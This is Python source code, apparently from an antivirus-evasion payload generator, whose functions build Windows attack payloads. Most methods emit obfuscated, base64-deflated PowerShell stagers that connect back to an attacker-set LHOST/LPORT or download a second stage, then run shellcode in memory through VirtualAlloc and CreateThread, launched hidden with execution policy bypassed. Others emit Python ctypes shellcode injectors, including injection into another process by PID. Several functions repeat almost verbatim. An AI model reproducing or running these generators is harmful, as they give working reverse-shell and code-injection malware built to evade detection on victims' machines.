def generate(self):
checks, num_ends = gamemaker.senecas_games(self)
baseString = """$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
"@\n"""
baseString += checks
baseString += """try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
$s.Connect('%s', %s) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0
$y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF
while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) }
for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]}
$t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
[System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
$t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %(self.required_options["LHOST"][0], self.required_options["LPORT"][0])
baseString += '}\n' * num_ends
encoded = evasion_helpers.deflate(baseString)
payload_code = "@echo off\n"
payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 ("
payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded)
payload_code += ") else ("
payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded)
self.payload_source_code = payload_code
return
def generate(self):
checks, num_ends = gamemaker.senecas_games(self)
proxyString = "$pr = [System.Net.WebRequest]::GetSystemWebProxy();$pr.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$m.proxy=$pr;$m.UseDefaultCredentials=$true;"
baseString = """$q = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@\n"""
baseString += checks
baseString += """try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum %% 0x100 -eq 92)}
function t {$f = "";1..%i|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;}
function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e; foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";}
$m = New-Object System.Net.WebClient;%s$m.Headers.Add("user-agent", "%s")
$n = g; [Byte[]] $p = $m.DownloadData("http://%s:%s/%s$n" )
$o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru
$x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length)
$o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %((int(self.required_options["STAGERURILENGTH"][0])-1),
"" if self.required_options["PROXY"][0] == "N" else proxyString,
self.required_options["USER_AGENT"][0],
self.required_options["LHOST"][0],
self.required_options["LPORT"][0],
"" if self.required_options["LURI"][0] == "/" else "%s/" % self.required_options["LURI"][0])
baseString += '}\n' * num_ends
encoded = evasion_helpers.deflate(baseString)
payload_code = "@echo off\n"
payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 ("
payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded)
payload_code += ") else ("
payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded)
self.payload_source_code = payload_code
return
def generate(self):
# Generate the shellcode
if not self.cli_shellcode:
Shellcode = self.shellcode.generate(self.cli_opts)
if self.shellcode.msfvenompayload:
self.payload_type = self.shellcode.msfvenompayload
elif self.shellcode.payload_choice:
self.payload_type = self.shellcode.payload_choice
self.shellcode.payload_choice = ''
# assume custom shellcode
else:
self.payload_type = 'custom'
else:
Shellcode = self.cli_shellcode
Shellcode = Shellcode.encode('latin-1')
Shellcode = Shellcode.decode('unicode_escape')
# Base64 Encode Shellcode
EncodedShellcode = base64.b64encode(bytes(Shellcode,
'latin-1')).decode('ascii')
# Generate Random Variable Names
ShellcodeVariableName = evasion_helpers.randomString()
rand_ptr = evasion_helpers.randomString()
rand_ht = evasion_helpers.randomString()
randctypes = evasion_helpers.randomString()
rand_virtual_protect = evasion_helpers.randomString()
num_tabs_required = 0
payload_code = ''
payload_code, num_tabs_required = gamemaker.senecas_games(self)
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
payload_code += '\t' * num_tabs_required + 'import base64\n'
payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = base64.b64decode(\"' + EncodedShellcode + '\")\n'
payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x04))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
payload_code += '\t' * num_tabs_required + rand_virtual_protect + ' = ' + randctypes + '.windll.kernel32.VirtualProtect(' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x20),' + randctypes + '.byref(' + randctypes + '.c_uint32(0)))\n'
payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
HeapVar = evasion_helpers.randomString()
payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
payload_code += '\t' * num_tabs_required + 'import base64\n'
payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = base64.b64decode(\"' + EncodedShellcode + '\")\n'
payload_code += '\t' * num_tabs_required + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ') * 2),' + randctypes + '.c_int(0))\n'
payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + ShellcodeVariableName + ')))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'
if self.required_options["USE_PYHERION"][0].lower() == "y":
payload_code = encryption.pyherion(payload_code)
self.payload_source_code = payload_code
return
def generate(self):
checks, num_ends = gamemaker.senecas_games(self)
proxyString = "$pr = [System.Net.WebRequest]::GetSystemWebProxy();$pr.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$m.proxy=$pr;$m.UseDefaultCredentials=$true;"
baseString = """$q = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@\n"""
baseString += checks
baseString += """try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum %% 0x100 -eq 92)}
function t {$f = "";1..%i|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;}
function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}
function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e; foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";}
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebClient;%s
$m.Headers.Add("user-agent", "%s");$n = g; [Byte[]] $p = $m.DownloadData("https://%s:%s/%s$n" )
$o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru
$x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length)
$o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %((int(self.required_options["STAGERURILENGTH"][0])-1),
"" if self.required_options["PROXY"][0] == "N" else proxyString,
self.required_options["USER_AGENT"][0],
self.required_options["LHOST"][0],
self.required_options["LPORT"][0],
"" if self.required_options["LURI"][0] == "/" else "%s/" % self.required_options["LURI"][0])
encoded = evasion_helpers.deflate(baseString)
payload_code = "@echo off\n"
payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 ("
payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded)
payload_code += ") else ("
payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded)
self.payload_source_code = payload_code
return
def generate(self):
checks, num_ends = gamemaker.senecas_games(self)
baseString = """$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
"@\n"""
baseString += checks
baseString += """try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
$s.Connect('%s', %s) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0
$y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF
while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) }
for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]}
$t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)
[System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length)
$t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %(self.required_options["LHOST"][0], self.required_options["LPORT"][0])
baseString += '}\n' * num_ends
print(baseString)
encoded = evasion_helpers.deflate(baseString)
payload_code = "@echo off\n"
payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 ("
payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded)
payload_code += ") else ("
payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded)
self.payload_source_code = payload_code
return
def generate(self):
# Generate the shellcode
if not self.cli_shellcode:
Shellcode = self.shellcode.generate(self.cli_opts)
if self.shellcode.msfvenompayload:
self.payload_type = self.shellcode.msfvenompayload
elif self.shellcode.payload_choice:
self.payload_type = self.shellcode.payload_choice
self.shellcode.payload_choice = ""
# assume custom shellcode
else:
self.payload_type = 'custom'
else:
Shellcode = self.cli_shellcode
Shellcode = Shellcode.encode('latin-1')
Shellcode = Shellcode.decode('unicode_escape')
# Base64 Encode Shellcode
EncodedShellcode = base64.b64encode(bytes(Shellcode, 'latin-1')).decode('ascii')
# Generate Random Variable Names
ShellcodeVariableName = evasion_helpers.randomString()
rand_ptr = evasion_helpers.randomString()
rand_ht = evasion_helpers.randomString()
randctypes = evasion_helpers.randomString()
rand_virtual_protect = evasion_helpers.randomString()
num_tabs_required = 0
payload_code = ""
payload_code, num_tabs_required = gamemaker.senecas_games(self)
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
payload_code += '\t' * num_tabs_required + 'import base64\n'
payload_code += '\t' * num_tabs_required + ShellcodeVariableName +' = base64.b64decode(\"' + EncodedShellcode + '\")\n'
payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len('+ ShellcodeVariableName +')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x04))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
payload_code += '\t' * num_tabs_required + rand_virtual_protect + ' = ' + randctypes + '.windll.kernel32.VirtualProtect(' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x20),' + randctypes + '.byref(' + randctypes + '.c_uint32(0)))\n'
payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
HeapVar = evasion_helpers.randomString()
payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n'
payload_code += '\t' * num_tabs_required + 'import base64\n'
payload_code += '\t' * num_tabs_required + ShellcodeVariableName +' = base64.b64decode(\"' + EncodedShellcode + '\")\n'
payload_code += '\t' * num_tabs_required + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ') * 2),' + randctypes + '.c_int(0))\n'
payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + ShellcodeVariableName + ')))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n'
if self.required_options["USE_PYHERION"][0].lower() == "y":
payload_code = encryption.pyherion(payload_code)
self.payload_source_code = payload_code
return
def psRaw(self):
checks, num_ends = gamemaker.senecas_games(self)
# Generate the shellcode
if not self.cli_shellcode:
Shellcode = self.shellcode.generate(self.cli_opts)
if self.shellcode.msfvenompayload:
self.payload_type = self.shellcode.msfvenompayload
elif self.shellcode.payload_choice:
self.payload_type = self.shellcode.payload_choice
self.shellcode.payload_choice = ""
# assume custom shellcode
else:
self.payload_type = 'custom'
else:
Shellcode = self.cli_shellcode
Shellcode = ",0".join(Shellcode.split("\\"))[1:]
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
baseString = """$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
"@\n"""
baseString += checks
baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru
$x=$o::VirtualAlloc(0,0x1000,0x3000,0x04); [Byte[]]$sc = %s;
for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1) | out-null;}
$oldprotect = 0;
$here=$o::VirtualProtect($x, [UInt32]0x1000, [UInt32]0x20, [Ref]$oldprotect);
$z=$o::CreateThread(0,0,$x,0,0,0); Start-Sleep -Second 100000""" % (Shellcode)
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
baseString = """$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr HeapCreate(uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr HeapAlloc(IntPtr w, uint x, uint y);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z);
"@\n"""
baseString += checks
baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru
[Byte[]]$sc = %s
$x=$o::HeapCreate(0x00040000,$sc.Length,0); $ct=$o::HeapAlloc($x,0x00000008,$sc.Length)
for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($ct.ToInt32()+$i), $sc[$i], 1) | out-null;}
$z=$o::CreateThread(0,0,$ct,0,0,0); Start-Sleep -Second 100000""" % (Shellcode)
baseString += '}\n' * num_ends
return baseString
def psRaw(self):
checks, num_ends = gamemaker.senecas_games(self)
# Generate the shellcode
if not self.cli_shellcode:
Shellcode = self.shellcode.generate(self.cli_opts)
if self.shellcode.msfvenompayload:
self.payload_type = self.shellcode.msfvenompayload
elif self.shellcode.payload_choice:
self.payload_type = self.shellcode.payload_choice
self.shellcode.payload_choice = ""
# assume custom shellcode
else:
self.payload_type = 'custom'
else:
Shellcode = self.cli_shellcode
Shellcode = ",0".join(Shellcode.split("\\"))[1:]
if self.required_options["INJECT_METHOD"][0].lower() == "virtual":
baseString = """$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
"@\n"""
baseString += checks
baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru
$x=$o::VirtualAlloc(0,0x1000,0x3000,0x04); [Byte[]]$sc = %s;
for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1) | out-null;}
$oldprotect = 0;
$here=$o::VirtualProtect($x, [UInt32]0x1000, [UInt32]0x20, [Ref]$oldprotect);
$z=$o::CreateThread(0,0,$x,0,0,0); Start-Sleep -Second 100000""" % (Shellcode)
elif self.required_options["INJECT_METHOD"][0].lower() == "heap":
baseString = """$c = @"
[DllImport("kernel32.dll")] public static extern IntPtr HeapCreate(uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr HeapAlloc(IntPtr w, uint x, uint y);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z);
"@\n"""
baseString += checks
baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru
[Byte[]]$sc = %s
$x=$o::HeapCreate(0x00040000,$sc.Length,0); $ct=$o::HeapAlloc($x,0x00000008,$sc.Length)
for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($ct.ToInt32()+$i), $sc[$i], 1) | out-null;}
$z=$o::CreateThread(0,0,$ct,0,0,0); Start-Sleep -Second 100000""" % (Shellcode)
baseString += '}\n' * num_ends
return baseString
def generate(self):
payload_code, num_tabs_required = gamemaker.senecas_games(self)
# Generate the shellcode
if not self.cli_shellcode:
Shellcode = self.shellcode.generate(self.cli_opts)
if self.shellcode.msfvenompayload:
self.payload_type = self.shellcode.msfvenompayload
elif self.shellcode.payload_choice:
self.payload_type = self.shellcode.payload_choice
self.shellcode.payload_choice = ""
# assume custom shellcode
else:
self.payload_type = 'custom'
else:
Shellcode = self.cli_shellcode
# Generate Random Variable Names
ShellcodeVariableName = evasion_helpers.randomString()
pid_num_variable = evasion_helpers.randomString()
pagerwx_variable = evasion_helpers.randomString()
processall_variable = evasion_helpers.randomString()
memcommit_variable = evasion_helpers.randomString()
shell_length_variable = evasion_helpers.randomString()
memalloc_variable = evasion_helpers.randomString()
prochandle_variable = evasion_helpers.randomString()
kernel32_variable = evasion_helpers.randomString()
# Create Payload code
payload_code += '\t' * num_tabs_required + 'from ctypes import *\n'
payload_code += '\t' * num_tabs_required + pagerwx_variable + ' = 0x40\n'
payload_code += '\t' * num_tabs_required + processall_variable + ' = 0x1F0FFF\n'
payload_code += '\t' * num_tabs_required + memcommit_variable + ' = 0x00001000\n'
payload_code += '\t' * num_tabs_required + kernel32_variable + ' = windll.kernel32\n'
payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = b\'' + Shellcode + '\'\n'
payload_code += '\t' * num_tabs_required + pid_num_variable + ' = ' + self.required_options[
"PID_NUMBER"][0] + '\n'
payload_code += '\t' * num_tabs_required + shell_length_variable + ' = len(' + ShellcodeVariableName + ')\n'
payload_code += '\t' * num_tabs_required + prochandle_variable + ' = ' + kernel32_variable + '.OpenProcess(' + processall_variable + ', False, ' + pid_num_variable + ')\n'
payload_code += '\t' * num_tabs_required + memalloc_variable + ' = ' + kernel32_variable + '.VirtualAllocEx(' + prochandle_variable + ', 0, ' + shell_length_variable + ', ' + memcommit_variable + ', ' + pagerwx_variable + ')\n'
payload_code += '\t' * num_tabs_required + kernel32_variable + '.WriteProcessMemory(' + prochandle_variable + ', ' + memalloc_variable + ', ' + ShellcodeVariableName + ', ' + shell_length_variable + ', 0)\n'
payload_code += '\t' * num_tabs_required + kernel32_variable + '.CreateRemoteThread(' + prochandle_variable + ', None, 0, ' + memalloc_variable + ', 0, 0, 0)\n'
if self.required_options["USE_PYHERION"][0].lower() == "y":
payload_code = encryption.pyherion(payload_code)
self.payload_source_code = payload_code
return
def generate(self):
payload_code, num_tabs_required = gamemaker.senecas_games(self)
# Generate the shellcode
if not self.cli_shellcode:
Shellcode = self.shellcode.generate(self.cli_opts)
if self.shellcode.msfvenompayload:
self.payload_type = self.shellcode.msfvenompayload
elif self.shellcode.payload_choice:
self.payload_type = self.shellcode.payload_choice
self.shellcode.payload_choice = ""
# assume custom shellcode
else:
self.payload_type = 'custom'
else:
Shellcode = self.cli_shellcode
# Generate Random Variable Names
ShellcodeVariableName = evasion_helpers.randomString()
pid_num_variable = evasion_helpers.randomString()
pagerwx_variable = evasion_helpers.randomString()
processall_variable = evasion_helpers.randomString()
memcommit_variable = evasion_helpers.randomString()
shell_length_variable = evasion_helpers.randomString()
memalloc_variable = evasion_helpers.randomString()
prochandle_variable = evasion_helpers.randomString()
kernel32_variable = evasion_helpers.randomString()
# Create Payload code
payload_code += '\t' * num_tabs_required + 'from ctypes import *\n'
payload_code += '\t' * num_tabs_required + pagerwx_variable + ' = 0x40\n'
payload_code += '\t' * num_tabs_required + processall_variable + ' = 0x1F0FFF\n'
payload_code += '\t' * num_tabs_required + memcommit_variable + ' = 0x00001000\n'
payload_code += '\t' * num_tabs_required + kernel32_variable + ' = windll.kernel32\n'
payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = b\'' + Shellcode + '\'\n'
payload_code += '\t' * num_tabs_required + pid_num_variable + ' = ' + self.required_options["PID_NUMBER"][0] +'\n'
payload_code += '\t' * num_tabs_required + shell_length_variable + ' = len(' + ShellcodeVariableName + ')\n'
payload_code += '\t' * num_tabs_required + prochandle_variable + ' = ' + kernel32_variable + '.OpenProcess(' + processall_variable + ', False, ' + pid_num_variable + ')\n'
payload_code += '\t' * num_tabs_required + memalloc_variable + ' = ' + kernel32_variable + '.VirtualAllocEx(' + prochandle_variable + ', 0, ' + shell_length_variable + ', ' + memcommit_variable + ', ' + pagerwx_variable + ')\n'
payload_code += '\t' * num_tabs_required + kernel32_variable + '.WriteProcessMemory(' + prochandle_variable + ', ' + memalloc_variable + ', ' + ShellcodeVariableName + ', ' + shell_length_variable + ', 0)\n'
payload_code += '\t' * num_tabs_required + kernel32_variable + '.CreateRemoteThread(' + prochandle_variable + ', None, 0, ' + memalloc_variable + ', 0, 0, 0)\n'
if self.required_options["USE_PYHERION"][0].lower() == "y":
payload_code = encryption.pyherion(payload_code)
self.payload_source_code = payload_code
return
def generate(self):
payload_code = "require 'rubygems';require 'win32/api';require 'socket';include Win32\n"
# Add logic for adding this line, stupid bug and I have no idea
# why this is even a problem, but ruby is dumb
if self.required_options["HOSTNAME"][0] != "X" or self.required_options[
"DOMAIN"][0] != "X" or self.required_options["USERNAME"][
0] != "X" or self.required_options["SLEEP"][0] != "X":
pass
else:
payload_code += "exit if Object.const_defined?(:Ocra)\n"
